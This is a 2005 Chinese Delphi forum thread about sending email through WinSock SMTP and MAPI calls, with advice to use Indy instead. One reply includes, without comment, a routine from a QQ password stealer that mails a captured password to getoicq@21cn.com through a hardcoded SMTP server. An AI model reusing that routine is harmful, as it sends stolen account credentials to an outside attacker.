社区
Windows SDK/API
帖子详情
有没有关于发邮件的API函数?请赐教……
Love_birds
2005-04-11 11:22:43
这是个老生常谈的话题!
现在想用DELPHI调用系统API做一个收发邮件的小东西!
谁知道这要用到哪些系统API?
如果可能给我点更详细的资料就更好了!!
谢谢!
本来想为这个话题多给点分,但是看了,最多只能给100分!
如果不够,以后有机会再补!
...全文
315
12
打赏
收藏
有没有关于发邮件的API函数?请赐教……
这是个老生常谈的话题! 现在想用DELPHI调用系统API做一个收发邮件的小东西! 谁知道这要用到哪些系统API? 如果可能给我点更详细的资料就更好了!! 谢谢! 本来想为这个话题多给点分,但是看了,最多只能给100分! 如果不够,以后有机会再补!
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
12 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
Love_birds
2005-04-12
打赏
举报
回复
不错!我用API就是想自己再进行一次封装成自己的类!
现在结帐:
gogogo
2005-04-11
打赏
举报
回复
简单起见,简易楼主用indy控件做,我刚做过,感觉还可以,特别是indy10.0比较好用,不过好像也有一些小bug,例子在delphi\demos\indy,不过可能要到网上去下载
chijingde
2005-04-11
打赏
举报
回复
**********************
下面是利用WinSock发送电子邮件的例子:
whaoye:
program SendMail;
uses
winsock;
{$R *.RES}
procedure sendmails;stdcall;
var
s:tsocket;
buffer:array[0..255] of char;
errorcode:integer;
mailserver:tsockaddr;
begin
mailserver.sin_family:=af_inet;
mailserver.sin_port:=htons(25);
mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');
s:=socket(af_inet,sock_stream,0);
errorcode:=connect(s,mailserver,sizeof(mailserver));
if errorcode<>invalid_socket then
begin
buffer:='HELO'+#13#10;
send(s,buffer,length('HELO'+#13#10),0);
buffer:='MAIL FROM: whaoye@21cn.com'+#13#10;
send(s,buffer,length('MAIL FROM: whaoye@21cn.com'+#13#10),0);
buffer:='RCPT TO:administrator@godeye'+#13#10;
send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);
buffer:='DATA'+#13#10;
send(s,buffer,length('DATA'+#13#10),0);
buffer:='FROM:whaoye@21cn.com'+#13#10;
send(s,buffer,length('FROM:whaoye@21cn.com'+#13#10),0);
buffer:='TO:administrator@godeye'+#13#10;
send(s,buffer,length('TO:administrator@21cn.com'+#13#10),0);
buffer:='SUBJECT:just a test!'+#13#10;
send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);
buffer:='I LOVE THIS GAME!'+#13#10;
send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);
buffer:='.'+#13#10;
send(s,buffer,length('.'+#13#10),0);
buffer:='QUIT'+#13#10;
send(s,buffer,length('QUIT'+#13#10),0);
closesocket(s);
end;
end;
var
wsa:twsadata;
begin
wsastartup($0202,wsa);
sendmails;
wsacleanup;
end.
*******************
//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱
procedure MailSend;
begin
err:=recv(FSocket,sbuf,400,0);
s1:=strpas(sbuf);
inc(step);
case step of
1:s1:='HELO smtp.hacker.com'+CRLF;
2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
3:s1:='RCPT TO: <'+email+'>'+CRLF;
4:s1:='DATA'+CRLF;
5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
+'To:"getoicq"<www.password.com>'+CRLF
+'Subject:QQ2001 Password come.'+CRLF
+CRLF
+newpass+CRLF
+'.'+CRLF;
6:s1:='QUIT'+CRLF;
else
step:=0;
end;
strcopy(sbuf,pchar(s1));
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
err:=WSAStartup($0101,WSAData);
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//利用 smtp.21cn.com 进行发信
fhost:='202.104.32.230';
fport:=25;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(Fport);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
step:=0;
repeat
MailSend;
until step=0;
err:=closesocket(FSocket);
err:=WSACleanup;
end;
chijingde
2005-04-11
打赏
举报
回复
如果想用纯API实现的话,猛料上有一篇文章,贴给你吧
纯api的发送邮件程序
function SendMail(const Subject, Body, FileName,
SenderName, SenderEMail,
RecepientName, RecepientEMail: string): Integer;
var
Message: TMapiMessage;
lpSender, lpRecepient: TMapiRecipDesc;
FileAttach: TMapiFileDesc;
SM: TFNMapiSendMail;
MAPIModule: HModule;
begin
FillChar(Message, SizeOf(Message), 0);
with Message do
begin
if (Subject <> '') then lpszSubject := PChar(Subject);
if (Body <> '') then lpszNoteText := PChar(Body);
if (SenderEmail <> '') then
begin
lpSender.ulRecipClass := MAPI_ORIG;
if (SenderName = '') then
lpSender.lpszName := PChar(SenderEMail)
else
lpSender.lpszName := PChar(SenderName);
lpSender.lpszAddress := PChar(SenderEmail);
lpSender.ulReserved := 0;
lpSender.ulEIDSize := 0;
lpSender.lpEntryID := nil;
lpOriginator := @lpSender;
end;
if (RecepientEmail <> '') then
begin
lpRecepient.ulRecipClass := MAPI_TO;
if (RecepientName = '') then
lpRecepient.lpszName := PChar(RecepientEMail)
else
lpRecepient.lpszName := PChar(RecepientName);
lpRecepient.lpszAddress := PChar(RecepientEmail);
lpRecepient.ulReserved := 0;
lpRecepient.ulEIDSize := 0;
lpRecepient.lpEntryID := nil;
nRecipCount := 1;
lpRecips := @lpRecepient;
end
else
lpRecips := nil;
if (FileName = '') then
begin
nFileCount := 0;
lpFiles := nil;
end
else
begin
FillChar(FileAttach, SizeOf(FileAttach), 0);
FileAttach.nPosition := Cardinal($FFFFFFFF);
FileAttach.lpszPathName := PChar(FileName);
nFileCount := 1;
lpFiles := @FileAttach;
end;
end;
MAPIModule := LoadLibrary(PChar(MAPIDLL));
if MAPIModule = 0 then
Result := -1
else
try
@SM := GetProcAddress(MAPIModule, 'MAPISendMail');
if @SM <> nil then
begin
Result := SM(0, Application.Handle, Message, MAPI_DIALOG or
MAPI_LOGON_UI, 0);
end
else
Result := 1;
finally
FreeLibrary(MAPIModule);
end;
if Result <> 0 then
MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,
[mbOK], 0);
end;
chijingde
2005-04-11
打赏
举报
回复
如果底层不想实现的话
下载个JMail用吧
或者装个Indy控件,自己写点代码就实现了
具体用法自己搜索,光CSDN就一大堆
herman~~
2005-04-11
打赏
举报
回复
帮顶
ehom
2005-04-11
打赏
举报
回复
我的意思是说,要用API也要按照类似的方法封装。。。
chijingde
2005-04-11
打赏
举报
回复
我也同意以上几位
强烈反对自己写底层,太不划算了(当然如果你的目的是学习就当我没说)
其实调用API跟调用人家已经提供好的接口有什么不同?
为啥非要自己写,API也是些接口,总不会也要自己实现一边吧?
俗话说得好,要站在巨人的肩膀上,嘿嘿
个人感觉INDY已经作的很好了
只要将来这个协议不发生改变,他的封装就不会出什么大错
自己用API写的话……
呵呵,我是不敢夸这个海口
gogogo
2005-04-11
打赏
举报
回复
赞同ehom(?!) ,其实SMTP,POP3协议倒是不很复杂,关键是里面的各种编码解码以及多种part,你自己搞,估计就是知道怎么写也要很久调试才能“基本”过关吧
ehom
2005-04-11
打赏
举报
回复
什么叫直接调API,如果是指上面那个WinSock发送电子邮件那种。。。那还是算了吧
这只是个API谁来封装的问题,在实际的软件开发中,这种示例根本没有利用价值,只是示例而已。
如果你真像写示例一样去写开发软件,维护性,扩展性等等都很差,甚至很容易出问题,出了问题也不好改。
关注软件的核心架构,别跟系统API扯上关系才是正确做法。
Love_birds
2005-04-11
打赏
举报
回复
我在内容中说得很清楚,我要的是纯API发送邮件
至于用VCL控件发送邮件的东西很简单,我也用过,现在我想直接用API来开发
因为这样对我来说,做起来更方便,也更灵活!
非常感谢chijingde(AD) 的贴子!
我再等等,还有没有别人的例子,下班前结贴!!
vpoor
2005-04-11
打赏
举报
回复
搜索 Simple Mail Transfer Protocol
c#调用C++写的dll导出类
网上看了一些都是调用c++写
函数
能不能实现c#使用c++写的类各位高手
请
赐教
解决方案 » 类的有一个成员
函数
,是返回这个类的指针,那么在C#里面就是一个INTPTR,它是什么你不用管。然后C++文件里面再定义几个
函数
,专门用于处理这个类的对像的操作,参数就是类对像的指针。这样你在C#层调用C++的这个
函数
,并将准备好的类对像的指针传回去就好了。这种方法,安全,方便,而且……你那些查到的使用C
c#调用C++写的dll导出类,如何实现
网上看了一些都是调用c++写
函数
能不能实现c#使用c++写的类各位高手
请
赐教
解决方案 » 类的有一个成员
函数
,是返回这个类的指针,那么在C#里面就是一个INTPTR,它是什么你不用管。然后C++文件里面再定义几个
函数
,专门用于处理这个类的对像的操作,参数就是类对像的指针。这样你在C#层调用C++的这个
函数
,并将准备好的类对像的指针传回去就好了。这种方法,安全,方便,而且……你那些查到的使用C
python + requests实现的电商
API
接口自动化框架详细教程
没错,因为前面我们写了config.ini文件,所有的数据库配置信息都在这个文件内哦,是不是感觉很方便呢,以后就算变更数据库了,也只要修改config.ini文件的内容就可以了,结合前面测试用例的管理(excel文件),sql语句的存放(xml文件),还有接下来我们要说的,businessCommon.py和存放具体case的文件夹,那么我们就已经将数据和业务分开啦,哈哈哈,想想以后修改测试用例内容,sql语句神马的工作,再也不用每个case都修改,只要改几个固定的文件,是不是顿时开心了呢?
Google短网址的
API
Google短网址的
API
作者: 阮一峰 日期: 2011年1月16日 2009年底,Google发布了短网址服务goo.gl。 Google声称: "......(这是)互联网上最稳定、最安全、最快速的短网址服务。" 有人做了比较,证明确实如此。 从上图可以看到,goo.gl的响应和跳转时间是最短的。 除了速度快,goo.
HeapAlloc,GlobalAlloc,LocalAlloc,VirtualAlloc,malloc,new的异同
1. 首先我们来看HeapAlloc: HeapAlloc是一个Windows
API
函数
。它用来在指定的堆上分配内存,并且分配后的内存不可移动。(即如果没有连续的空间能满足分配的大小,程序不能将其他零散的 空间利用起来,从而导致分配失败),该分配方法是从一指定地址开始分配,而不像GloabalAlloc是从全局堆上分配,这个有可能是全局,也有可能是 局部。
函数
原型为: LPVOID He
Windows SDK/API
1,183
社区成员
22,335
社区内容
发帖
与我相关
我的任务
Windows SDK/API
Delphi Windows SDK/API
复制链接
扫一扫
分享
社区描述
Delphi Windows SDK/API
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章